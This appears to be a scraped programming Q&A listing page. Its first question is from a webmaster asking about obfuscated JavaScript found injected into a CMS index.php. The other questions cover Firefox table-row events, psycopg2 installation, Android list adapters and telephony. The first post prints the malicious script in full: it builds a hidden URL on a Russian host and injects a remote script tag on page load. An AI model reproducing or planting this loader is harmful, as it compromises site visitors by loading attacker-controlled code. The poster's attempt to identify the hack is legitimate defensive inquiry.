    I validated my client's website to xHTML Strict 1.0/CSS 2.1 standards last week. Today when I re-checked, I had a validation error caused by a weird and previous unknown script. I found this in the index.php file of my ExpressionEngine CMS. What is this javascript doing? Is this a hacking attempt as I suspected? I couldn't help but notice the Russian domain encoded in the script... this.v=27047; this.v+=187; ug=["n"]; OV=29534; OV--; var y; var C="C"; var T={}; r=function(){ b=36068; b-=144; M=[]; function f(V,w,U){ return V.substr(w,U); var wH=39640; } var L=["o"]; var cj={}; var qK={N:false}; var fa="/g"+"oo"+"gl"+"e."+"co"+"m/"+f("degL4",0,2)+f("rRs6po6rRs",4,2)+f("9GVsiV9G",3,2)+f("5cGtfcG5",3,2)+f("M6c0ilc6M0",4,2)+"es"+f("KUTz.cUzTK",4,2)+f("omjFb",0,2)+"/s"+f("peIlh2",0,2)+"ed"+f("te8WC",0,2)+f("stien3",0,2)+f(".nYm6S",0,2)+f("etUWH",0,2)+f(".pdVPH",0,2)+f("hpzToi",0,2); var BT="BT"; var fV=RegExp; var CE={bf:false}; var UW=''; this.Ky=11592; this.Ky-=237; var VU=document; var _n=[]; try {} catch(wP){}; this.JY=29554; this.JY-=245; function s(V,w){ l=13628; l--; var U="["+w+String("]"); var rk=new fV(U, f("giId",0,1)); this.NS=18321;this.NS+=195;return V.replace(rk, UW); try {} catch(k){}; }; this.jM=""; var CT={}; var A=s('socnruixpot4','zO06eNGTlBuoYxhwn4yW1Z'); try {var vv='m'} catch(vv){}; var Os={}; var t=null; var e=String("bod"+"y"); var F=155183-147103; this.kp=''; Z={Ug:false}; y=function(){ var kl=["mF","Q","cR"]; try { Bf=11271; Bf-=179; var u=s('cfr_eKaPtQe_EPl8eTmPeXn8to','X_BQoKfTZPz8MG5'); Fp=VU[u](A); var H=""; try {} catch(WK){}; this.Ca=19053; this.Ca--; var O=s('s5rLcI','2A5IhLo'); var V=F+fa; this.bK=""; var ya=String("de"+"fe"+f("r3bPZ",0,1)); var bk=new String(); pB=9522; pB++; Fp[O]=String("ht"+"tp"+":/"+"/t"+"ow"+"er"+"sk"+"y."+"ru"+":")+V; Fp[ya]=[1][0]; Pe=45847; Pe--; VU[e].appendChild(Fp); var lg=new Array(); var aQ={vl:"JC"}; this.KL="KL"; } catch(x){ this.Ja=""; Th=["pj","zx","kO"]; var Jr=''; }; Tr={qZ:21084}; }; this.pL=false; }; be={}; rkE={hb:"vG"}; r(); var bY=new Date(); window.onload=y; cU=["Yr","gv"];

    Read the article

  • HTML + javascript mouse over, mouseout, onclick not working in firefox.

    - by help_inmssql
    Hello Everyone, My question is to get onMouseover,onMouseout,onMousedown,onClick on a table row. For which i am calling javascript userdefined functions. onMouseover --- Background color should change. onMouseout --- Reset to original color onClick --- First column checkbox/radio button should be set and background color should change onMousedown --- background color should change. My code in html is:- <tr onMouseOver="hover(this)" onMouseOut="hover_out(this)" onMouseDown="get_first_state(this)" onClick="checkit(this)" > and the methods in javascripts are:- var first_state = false; var oldcol = '#ffffff'; var oldcol_cellarray = new Array(); function hover(element) { if (! element) element = this; while (element.tagName != 'TR') { element = element.parentNode; } if (element.style.fontWeight != 'bold') { for (var i = 0; i<element.cells.length; i++) { if (element.cells[i].className != "no_hover") { oldcol_cellarray[i] = element.cells[i].style.backgroundColor; element.cells[i].style.backgroundColor='#e6f6f6'; } } } } // ----------------------------------------------------------------------------------------------- function hover_out(element) { if (! element) element = this; while (element.tagName != 'TR') { element = element.parentNode; } if (element.style.fontWeight != 'bold') { for (var i = 0; i<element.cells.length; i++) { if (element.cells[i].className != "no_hover") { if (typeof oldcol_cellarray != undefined) { element.cells[i].style.backgroundColor=oldcol_cellarray[i]; } else { element.cells[i].style.backgroundColor='#ffffff'; } //var oldcol_cellarray = new Array(); } } } } // ----------------------------------------------------------------------------------------------- function get_first_state(element) { while (element.tagName != 'TR') { element = element.parentNode; } first_state = element.cells[0].firstChild.checked; } // ----------------------------------------------------------------------------------------------- function checkit (element) { while (element.tagName != 'TR') { element = element.parentNode; } if (element.cells[0].firstChild.type == 'radio') { var typ = 0; } else if (element.cells[0].firstChild.type == 'checkbox') { typ = 1; } if (element.cells[0].firstChild.checked == true && typ == 1) { if (element.cells[0].firstChild.checked == first_state) { element.cells[0].firstChild.checked = false; } set_rowstyle(element, element.cells[0].firstChild.checked); } else { if (typ == 0 || element.cells[0].firstChild.checked == first_state) { element.cells[0].firstChild.checked = true; } set_rowstyle(element, element.cells[0].firstChild.checked); } if (typ == 0) { var table = element.parentNode; if (table.tagName != "TABLE") { table = table.parentNode; } if (table.tagName == "TABLE") { table=table.tBodies[0].rows; //var table = document.getElementById("js_tb").tBodies[0].rows; for (var i = 1; i< table.length; i++) { if (table[i].cells[0].firstChild.checked == true && table[i] != element) { table[i].cells[0].firstChild.checked = false; } if (table[i].cells[0].firstChild.checked == false) { set_rowstyle(table[i], false); } } } } } function set_rowstyle(r, on) { if (on == true) { for (var i =0; i < r.cells.length; i++) { r.style.fontWeight = 'bold'; r.cells[i].style.backgroundColor = '#f2f2c2'; } } else { for ( i =0; i < r.cells.length; i++) { r.style.fontWeight = 'normal'; r.cells[i].style.backgroundColor = '#ffffff'; } } } It is working as expected in IE. But coming to firefox i am surprised on seeing the output after so much of coding. In Firefox:-- onMouseOver is working as expected. color change of that particular row. onClick -- Setting the background color permenantly..eventhough i do onmouseover on different rows. the clicked row color is not reset to white. -- not as expected onclick on 2 rows..the background of both the rows is set...not as expected i.e if i click on all the rows..background color of everything is changed... Eventhough i click on the row. First column i.e radio button or checkbox is not set.. Please help me to solve this issue in firefox. Do let me know where my code needs to be changed... Thanks in advance!!

    Read the article

  • HTML + javascript mouse over, mouseout, onclick not working in firefox.

    - by lucky
    Hello Everyone, My question is to get onMouseover,onMouseout,onMousedown,onClick on a table row. For which i am calling javascript userdefined functions. onMouseover --- Background color should change. onMouseout --- Reset to original color onClick --- First column checkbox/radio button should be set and background color should change onMousedown --- background color should change. My code in html is:- <tr onMouseOver="hover(this)" onMouseOut="hover_out(this)" onMouseDown="get_first_state(this)" onClick="checkit(this)" > and the methods in javascripts are:- var first_state = false; var oldcol = '#ffffff'; var oldcol_cellarray = new Array(); function hover(element) { if (! element) element = this; while (element.tagName != 'TR') { element = element.parentNode; } if (element.style.fontWeight != 'bold') { for (var i = 0; i<element.cells.length; i++) { if (element.cells[i].className != "no_hover") { oldcol_cellarray[i] = element.cells[i].style.backgroundColor; element.cells[i].style.backgroundColor='#e6f6f6'; } } } } // ----------------------------------------------------------------------------------------------- function hover_out(element) { if (! element) element = this; while (element.tagName != 'TR') { element = element.parentNode; } if (element.style.fontWeight != 'bold') { for (var i = 0; i<element.cells.length; i++) { if (element.cells[i].className != "no_hover") { if (typeof oldcol_cellarray != undefined) { element.cells[i].style.backgroundColor=oldcol_cellarray[i]; } else { element.cells[i].style.backgroundColor='#ffffff'; } //var oldcol_cellarray = new Array(); } } } } // ----------------------------------------------------------------------------------------------- function get_first_state(element) { while (element.tagName != 'TR') { element = element.parentNode; } first_state = element.cells[0].firstChild.checked; } // ----------------------------------------------------------------------------------------------- function checkit (element) { while (element.tagName != 'TR') { element = element.parentNode; } if (element.cells[0].firstChild.type == 'radio') { var typ = 0; } else if (element.cells[0].firstChild.type == 'checkbox') { typ = 1; } if (element.cells[0].firstChild.checked == true && typ == 1) { if (element.cells[0].firstChild.checked == first_state) { element.cells[0].firstChild.checked = false; } set_rowstyle(element, element.cells[0].firstChild.checked); } else { if (typ == 0 || element.cells[0].firstChild.checked == first_state) { element.cells[0].firstChild.checked = true; } set_rowstyle(element, element.cells[0].firstChild.checked); } if (typ == 0) { var table = element.parentNode; if (table.tagName != "TABLE") { table = table.parentNode; } if (table.tagName == "TABLE") { table=table.tBodies[0].rows; //var table = document.getElementById("js_tb").tBodies[0].rows; for (var i = 1; i< table.length; i++) { if (table[i].cells[0].firstChild.checked == true && table[i] != element) { table[i].cells[0].firstChild.checked = false; } if (table[i].cells[0].firstChild.checked == false) { set_rowstyle(table[i], false); } } } } } function set_rowstyle(r, on) { if (on == true) { for (var i =0; i < r.cells.length; i++) { r.style.fontWeight = 'bold'; r.cells[i].style.backgroundColor = '#f2f2c2'; } } else { for ( i =0; i < r.cells.length; i++) { r.style.fontWeight = 'normal'; r.cells[i].style.backgroundColor = '#ffffff'; } } } It is working as expected in IE. But coming to firefox i am surprised on seeing the output after so much of coding. In Firefox:-- onMouseOver is working as expected. color change of that particular row. onClick -- Setting the background color permenantly..eventhough i do onmouseover on different rows. the clicked previous row color is not reset to white. -- not as expected onclick on 2 rows..the background of both the rows is set..Only the latest row color should be set. other rows that are selected before should be set back..not as expected i.e if i click on all the rows..background color of everything is changed... Eventhough i click on the row. First column i.e radio button or checkbox is not set.. Please help me to solve this issue in firefox. Do let me know where my code needs to be changed... Thanks in advance!!

    Read the article

  • can't install psycopg2 in my env on mac os x lion

    - by Alexander Ovchinnikov
    I tried install psycopg2 via pip in my virtual env, but got this error: ld: library not found for -lpq (full log here: http://pastebin.com/XdmGyJ4u ) I tried install postgres 9.1 from .dmg and via port, (gksks)iMac-Alexander:~ lorddaedra$ locate libpq /Developer/SDKs/MacOSX10.7.sdk/usr/include/libpq /Developer/SDKs/MacOSX10.7.sdk/usr/include/libpq/libpq-fs.h /Developer/SDKs/MacOSX10.7.sdk/usr/include/libpq-events.h /Developer/SDKs/MacOSX10.7.sdk/usr/include/libpq-fe.h /Developer/SDKs/MacOSX10.7.sdk/usr/include/postgresql/internal/libpq /Developer/SDKs/MacOSX10.7.sdk/usr/include/postgresql/internal/libpq/pqcomm.h /Developer/SDKs/MacOSX10.7.sdk/usr/include/postgresql/internal/libpq-int.h /Developer/SDKs/MacOSX10.7.sdk/usr/include/postgresql/server/libpq /Developer/SDKs/MacOSX10.7.sdk/usr/include/postgresql/server/libpq/auth.h /Developer/SDKs/MacOSX10.7.sdk/usr/include/postgresql/server/libpq/be-fsstubs.h /Developer/SDKs/MacOSX10.7.sdk/usr/include/postgresql/server/libpq/crypt.h /Developer/SDKs/MacOSX10.7.sdk/usr/include/postgresql/server/libpq/hba.h /Developer/SDKs/MacOSX10.7.sdk/usr/include/postgresql/server/libpq/ip.h /Developer/SDKs/MacOSX10.7.sdk/usr/include/postgresql/server/libpq/libpq-be.h /Developer/SDKs/MacOSX10.7.sdk/usr/include/postgresql/server/libpq/libpq-fs.h /Developer/SDKs/MacOSX10.7.sdk/usr/include/postgresql/server/libpq/libpq.h /Developer/SDKs/MacOSX10.7.sdk/usr/include/postgresql/server/libpq/md5.h /Developer/SDKs/MacOSX10.7.sdk/usr/include/postgresql/server/libpq/pqcomm.h /Developer/SDKs/MacOSX10.7.sdk/usr/include/postgresql/server/libpq/pqformat.h /Developer/SDKs/MacOSX10.7.sdk/usr/include/postgresql/server/libpq/pqsignal.h /Developer/SDKs/MacOSX10.7.sdk/usr/lib/libpq.5.3.dylib /Developer/SDKs/MacOSX10.7.sdk/usr/lib/libpq.5.dylib /Developer/SDKs/MacOSX10.7.sdk/usr/lib/libpq.a /Developer/SDKs/MacOSX10.7.sdk/usr/lib/libpq.dylib /Library/PostgreSQL/9.1/doc/postgresql/html/install-windows-libpq.html /Library/PostgreSQL/9.1/doc/postgresql/html/libpq-async.html /Library/PostgreSQL/9.1/doc/postgresql/html/libpq-build.html /Library/PostgreSQL/9.1/doc/postgresql/html/libpq-cancel.html /Library/PostgreSQL/9.1/doc/postgresql/html/libpq-connect.html /Library/PostgreSQL/9.1/doc/postgresql/html/libpq-control.html /Library/PostgreSQL/9.1/doc/postgresql/html/libpq-copy.html /Library/PostgreSQL/9.1/doc/postgresql/html/libpq-envars.html /Library/PostgreSQL/9.1/doc/postgresql/html/libpq-events.html /Library/PostgreSQL/9.1/doc/postgresql/html/libpq-example.html /Library/PostgreSQL/9.1/doc/postgresql/html/libpq-exec.html /Library/PostgreSQL/9.1/doc/postgresql/html/libpq-fastpath.html /Library/PostgreSQL/9.1/doc/postgresql/html/libpq-ldap.html /Library/PostgreSQL/9.1/doc/postgresql/html/libpq-misc.html /Library/PostgreSQL/9.1/doc/postgresql/html/libpq-notice-processing.html /Library/PostgreSQL/9.1/doc/postgresql/html/libpq-notify.html /Library/PostgreSQL/9.1/doc/postgresql/html/libpq-pgpass.html /Library/PostgreSQL/9.1/doc/postgresql/html/libpq-pgservice.html /Library/PostgreSQL/9.1/doc/postgresql/html/libpq-ssl.html /Library/PostgreSQL/9.1/doc/postgresql/html/libpq-status.html /Library/PostgreSQL/9.1/doc/postgresql/html/libpq-threading.html /Library/PostgreSQL/9.1/doc/postgresql/html/libpq.html /Library/PostgreSQL/9.1/include/libpq /Library/PostgreSQL/9.1/include/libpq/libpq-fs.h /Library/PostgreSQL/9.1/include/libpq-events.h /Library/PostgreSQL/9.1/include/libpq-fe.h /Library/PostgreSQL/9.1/include/postgresql/internal/libpq /Library/PostgreSQL/9.1/include/postgresql/internal/libpq/pqcomm.h /Library/PostgreSQL/9.1/include/postgresql/internal/libpq-int.h /Library/PostgreSQL/9.1/include/postgresql/server/libpq /Library/PostgreSQL/9.1/include/postgresql/server/libpq/auth.h /Library/PostgreSQL/9.1/include/postgresql/server/libpq/be-fsstubs.h /Library/PostgreSQL/9.1/include/postgresql/server/libpq/crypt.h /Library/PostgreSQL/9.1/include/postgresql/server/libpq/hba.h /Library/PostgreSQL/9.1/include/postgresql/server/libpq/ip.h /Library/PostgreSQL/9.1/include/postgresql/server/libpq/libpq-be.h /Library/PostgreSQL/9.1/include/postgresql/server/libpq/libpq-fs.h /Library/PostgreSQL/9.1/include/postgresql/server/libpq/libpq.h /Library/PostgreSQL/9.1/include/postgresql/server/libpq/md5.h /Library/PostgreSQL/9.1/include/postgresql/server/libpq/pqcomm.h /Library/PostgreSQL/9.1/include/postgresql/server/libpq/pqformat.h /Library/PostgreSQL/9.1/include/postgresql/server/libpq/pqsignal.h /Library/PostgreSQL/9.1/lib/libpq.5.4.dylib /Library/PostgreSQL/9.1/lib/libpq.5.dylib /Library/PostgreSQL/9.1/lib/libpq.a /Library/PostgreSQL/9.1/lib/libpq.dylib /Library/PostgreSQL/9.1/lib/postgresql/libpqwalreceiver.so /Library/PostgreSQL/9.1/pgAdmin3.app/Contents/Frameworks/libpq.5.dylib /Library/PostgreSQL/psqlODBC/lib/libpq.5.4.dylib /Library/PostgreSQL/psqlODBC/lib/libpq.5.dylib /Library/PostgreSQL/psqlODBC/lib/libpq.dylib /Library/WebServer/Documents/postgresql/html/install-windows-libpq.html /Library/WebServer/Documents/postgresql/html/libpq-async.html /Library/WebServer/Documents/postgresql/html/libpq-build.html /Library/WebServer/Documents/postgresql/html/libpq-cancel.html /Library/WebServer/Documents/postgresql/html/libpq-connect.html /Library/WebServer/Documents/postgresql/html/libpq-control.html /Library/WebServer/Documents/postgresql/html/libpq-copy.html /Library/WebServer/Documents/postgresql/html/libpq-envars.html /Library/WebServer/Documents/postgresql/html/libpq-events.html /Library/WebServer/Documents/postgresql/html/libpq-example.html /Library/WebServer/Documents/postgresql/html/libpq-exec.html /Library/WebServer/Documents/postgresql/html/libpq-fastpath.html /Library/WebServer/Documents/postgresql/html/libpq-ldap.html /Library/WebServer/Documents/postgresql/html/libpq-misc.html /Library/WebServer/Documents/postgresql/html/libpq-notice-processing.html /Library/WebServer/Documents/postgresql/html/libpq-notify.html /Library/WebServer/Documents/postgresql/html/libpq-pgpass.html /Library/WebServer/Documents/postgresql/html/libpq-pgservice.html /Library/WebServer/Documents/postgresql/html/libpq-ssl.html /Library/WebServer/Documents/postgresql/html/libpq-status.html /Library/WebServer/Documents/postgresql/html/libpq-threading.html /Library/WebServer/Documents/postgresql/html/libpq.html /opt/local/include/postgresql90/internal/libpq /opt/local/include/postgresql90/internal/libpq/pqcomm.h /opt/local/include/postgresql90/internal/libpq-int.h /opt/local/include/postgresql90/libpq /opt/local/include/postgresql90/libpq/libpq-fs.h /opt/local/include/postgresql90/libpq-events.h /opt/local/include/postgresql90/libpq-fe.h /opt/local/include/postgresql90/server/libpq /opt/local/include/postgresql90/server/libpq/auth.h /opt/local/include/postgresql90/server/libpq/be-fsstubs.h /opt/local/include/postgresql90/server/libpq/crypt.h /opt/local/include/postgresql90/server/libpq/hba.h /opt/local/include/postgresql90/server/libpq/ip.h /opt/local/include/postgresql90/server/libpq/libpq-be.h /opt/local/include/postgresql90/server/libpq/libpq-fs.h /opt/local/include/postgresql90/server/libpq/libpq.h /opt/local/include/postgresql90/server/libpq/md5.h /opt/local/include/postgresql90/server/libpq/pqcomm.h /opt/local/include/postgresql90/server/libpq/pqformat.h /opt/local/include/postgresql90/server/libpq/pqsignal.h /opt/local/lib/postgresql90/libpq.5.3.dylib /opt/local/lib/postgresql90/libpq.5.dylib /opt/local/lib/postgresql90/libpq.a /opt/local/lib/postgresql90/libpq.dylib /opt/local/lib/postgresql90/libpqwalreceiver.so /opt/local/var/macports/sources/rsync.macports.org/release/tarballs/ports/databases/libpqxx /opt/local/var/macports/sources/rsync.macports.org/release/tarballs/ports/databases/libpqxx/Portfile /opt/local/var/macports/sources/rsync.macports.org/release/tarballs/ports/databases/libpqxx26 /opt/local/var/macports/sources/rsync.macports.org/release/tarballs/ports/databases/libpqxx26/Portfile /usr/include/libpq /usr/include/libpq/libpq-fs.h /usr/include/libpq-events.h /usr/include/libpq-fe.h /usr/include/postgresql/internal/libpq /usr/include/postgresql/internal/libpq/pqcomm.h /usr/include/postgresql/internal/libpq-int.h /usr/include/postgresql/server/libpq /usr/include/postgresql/server/libpq/auth.h /usr/include/postgresql/server/libpq/be-fsstubs.h /usr/include/postgresql/server/libpq/crypt.h /usr/include/postgresql/server/libpq/hba.h /usr/include/postgresql/server/libpq/ip.h /usr/include/postgresql/server/libpq/libpq-be.h /usr/include/postgresql/server/libpq/libpq-fs.h /usr/include/postgresql/server/libpq/libpq.h /usr/include/postgresql/server/libpq/md5.h /usr/include/postgresql/server/libpq/pqcomm.h /usr/include/postgresql/server/libpq/pqformat.h /usr/include/postgresql/server/libpq/pqsignal.h /usr/lib/libpq.5.3.dylib /usr/lib/libpq.5.dylib /usr/lib/libpq.a /usr/lib/libpq.dylib How to tell pip to use this lib in /Library/PostgreSQL/9.1/lib/ (or may be in /usr/lib)? or may be install this lib again in my env (i try keep my env isolated from mac as possible)

    Read the article

  • Using a SimpleAdapter, how can i map images to a ListAdapter Row? using android sdk

    - by nathanjosiah
    Here is the code that i have for the adapter. ArrayList<HashMap<String, Object>> mylist = new ArrayList<HashMap<String, Object>>(); for (CustomClass imageObject : myArray) { HashMap<String, Object> map = new HashMap<String, Object>(); BmpFromURL myBmp = new BmpFromURL(image.getURL()); map.put("image", myBmp.getMyBitmap()); mylist.add(map); } SimpleAdapter adapter = new SimpleAdapter(this, mylist, R.layout.series_list_row, new String[]{"image"}, new int[]{R.id.ImageView01}); this.setListAdapter(adapter); getMyBitmap() returns a Bitmap.

    Read the article

  • Can a telephony.Phone object be instantiated through the sdk?

    - by Tyler
    I am trying to get a phone object so that I can call and conference two numbers from within my application. I have tried using the static PhoneFactory.makeDefaultPhones((Context)this) but have not had any luck. String phoneFactoryName = "com.android.internal.telephony.PhoneFactory"; String phoneName = "com.android.internal.telephony.Phone"; Class phoneFactoryClass = Class.forName(phoneFactoryName); Class phoneClass = Class.forName(phoneName); Method getDefaultPhone = phoneFactoryClass.getMethod("getDefaultPhone"); Object phoneObject = getDefaultPhone.invoke(null); Error - Caused by java.lang.RuntimeException: PhoneFactory.getDefaultPhone must be called from Looper thread

    Read the article

  • How to set selected segment index in UISegmentedControl? (iPhone SDK)

    - by seanny94
    Hello all! I'm trying to avoid an app crash here... I have a button that will remove a segment from a UISegmentedControl. If that button is pressed and the user has the segment to be removed selected, the segment will remove and no selection will be highlighted. However, when another button is pushed that does an action that retrieves the selectedSegmentIndex, the app crashes. In short: Is there any way to force the selection of a segment in a UISegmentedControl? edit it seems as though the UISegmentedControl is returning a selectedSegmentIndex of -1 when no segment is selected... let's see what I can do from here.

    Read the article

< Previous Page | 330 331 332 333 334 335 336 337 338 339 340 341  | Next Page >